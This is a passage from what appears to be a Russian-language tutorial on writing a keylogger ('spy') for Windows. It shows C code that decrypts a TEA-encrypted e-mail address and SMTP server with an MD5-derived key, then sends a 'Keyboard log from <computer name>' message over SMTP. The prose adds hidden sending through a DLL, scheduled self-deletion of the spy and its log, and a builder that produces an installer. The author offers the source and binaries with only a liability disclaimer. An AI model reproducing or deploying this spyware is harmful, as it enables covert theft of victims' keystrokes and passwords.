// Расшифровка e-mail адресов.
// Алгоритм:
// 1. Генерирование ключа на основе адреса smtp-сервера с помощью MD5.
// 2. Расшифровка e-mail-адресов ключом, полученным в п.1.
TEADecrypting.DecryptIt((BYTE*)_tszEMailAddr,256,CMD4MD5Hashing.HASH_crypt((BYTE*)&_tszSmtpServer[1],(BYTE)_tszSmtpServer[0],MD5_ALG));
_tszEMailAddr[(BYTE)_tszEMailAddr[0] + 1] = 0;
_tszEMailAddr[(BYTE)_tszEMailAddr[128] + 129] = 0;
// --------------------------
ZeroMemory(_tszSmtpServer,256);
// Говорим, от кого письмо
lstrcpy(tszRequestAnswer,"mail from:<");
lstrcat(tszRequestAnswer,&_tszEMailAddr[129]);
lstrcat(tszRequestAnswer,">\r\n");
SendRequest(s,tszRequestAnswer);
// Получаем ответ о корректности синтаксиса электронного адреса
ReceiveAnswer(s,tszRequestAnswer);
// Сообщаем серверу адресат
lstrcpy(tszRequestAnswer,"rcpt to:<");
lstrcat(tszRequestAnswer,&_tszEMailAddr[1]);
lstrcat(tszRequestAnswer,">\r\n");
SendRequest(s,tszRequestAnswer);
// Сервер говорит, что проверил наличие адреса и отправитель локальный
ReceiveAnswer(s,tszRequestAnswer);
// Готовим сервер к приему данных
SendRequest(s,"data\r\n");
// Сервер сообщает о готовности
ReceiveAnswer(s,tszRequestAnswer);
// Заполняем поле "Куда"
lstrcpy(tszRequestAnswer,"To: ");
lstrcat(tszRequestAnswer,&_tszEMailAddr[1]);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);
// Заполняем поле "От кого"
lstrcpy(tszRequestAnswer,"From: ");
lstrcat(tszRequestAnswer,&_tszEMailAddr[129]);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);
ZeroMemory(_tszEMailAddr,256);
// Тема сообщения
lstrcpy(tszRequestAnswer,"Subject: Keyboard log from ");
dwRead = 482;
GetComputerName(tszRequestAnswer + 27,&dwRead);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);
SendRequest(s,"Content-Type: multipart/mixed; boundary=\"----=KeyDumpNT\"");
SendRequest(s,"\r\n\r\n");
Это была обычная функция отправки сообщения. Заметим, что e-mail адрес
и адрес smtp-сервера хранятся зашифрованными алгоритмом TEA. Здесь они
расшифровываются. Теперь реализуем функцию скрытой отправки. Сама
процедура отправки находится в DLL и идентична вышеописанной функции:
А эта функция является отдельным потоком, запускаемым в самом начале
работы шпиона. Она реализует самоудаление шпиона по расписанию. Также
она способна удалить вместе с программой и лог-файл:
Теперь посмотрим, что из всего этого у нас получилось:
Это главное окно программы настройки. Здесь всё должно быть предельно ясно и удобно для использования.
После задания нужных нам параметров, нажимаем кнопку «Создать», и
создается программа установки KeyDmpSet.exe, которую достаточно один
раз запустить, чтобы шпион начал свою работу.
Подробные инструкции о том, как использовать наше с
вами творение, можно увидеть в бинарниках, прилагаемых к статье.
Заключение
В статье еще очень многое можно было описать и о многом рассказать, но
я привел самые основные возможности и интересные участки кода. Исходный
код всех программ, о которых здесь велась речь, смотрите
ниже. И хочу Вас предупредить, что ВЫ ИСПОЛЬЗУЕТЕ ЭТО ПРОГРАММНОЕ
ОБЕСПЕЧЕНИЕ НА СВОЙ РИСК. АВТОР НЕ НЕСЕТ ОТВЕТСТВЕННОСТЬ ЗА ПОТЕРИ ИЛИ
ИСКАЖЕНИЯ ДАННЫХ, ЛЮБУЮ УПУЩЕННУЮ ВЫГОДУ В ПРОЦЕССЕ ИСПОЛЬЗОВАНИЯ ИЛИ
НЕПРАВИЛЬНОГО ИСПОЛЬЗОВАНИЯ ЭТОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ.